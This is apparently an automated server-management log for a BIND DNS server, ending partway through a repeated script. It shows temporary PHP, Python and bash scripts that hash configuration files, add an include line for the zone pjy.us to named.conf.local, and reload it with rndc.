MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 898dd73f80b3ba91e6ebefdd0f36a0d5
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-09-04 14:53:52: Establishing a connection
2025-09-04 14:53:52: Establishing a connection
2025-09-04 14:53:52:
PUT: /tmp/pkp901976
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-09-04 14:53:52:
runuser -l bind -s /bin/bash -c '/tmp/pkp901976; rm /tmp/pkp901976'
2025-09-04 14:53:52:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 898dd73f80b3ba91e6ebefdd0f36a0d5
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-09-04 14:53:52:
PUT: /tmp/pkp197178
#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam
#target cache files
HASH = '4e946d31d5dbbaea14c1f8a8cc65c592'
ZONE_NAME = 'pjy.us'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'
uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
pass
PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:
line = fp.readline()
while line:
if HASH in line:
hash_present = True
break
line = fp.readline()
fp.close()
if not hash_present:
fp = open(LOCAL_FILE, 'a')
fp.write(PAYLOAD + "\n")
fp.close()
# call = old python, 'run' python 3.5+
subprocess.call(['rndc', 'reconfig'])
else:
subprocess.call(['rndc', 'freeze', ZONE_NAME ])
subprocess.call(['rndc', 'reload', ZONE_NAME ])
subprocess.call(['rndc', 'thaw', ZONE_NAME ])
time.sleep(3)
2025-09-04 14:53:52:
chmod 755 /tmp/pkp197178; /tmp/pkp197178; rm /tmp/pkp197178
2025-09-04 14:53:55:
rndc: 'freeze' failed: not dynamic
zone reload queued
STDERR:
rndc: 'freeze' failed: not dynamic
2025-09-04 14:53:55:
PUT: /tmp/pkp965840
#!/bin/bash
rndc reload pjy.us 2>&1
2025-09-04 14:53:55:
chmod 755 /tmp/pkp965840; /tmp/pkp965840; rm /tmp/pkp965840
2025-09-04 14:53:55:
zone reload up-to-date
2025-09-04 14:53:55: Establishing a connection
2025-09-04 14:53:55:
PUT: /tmp/pkp709493
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
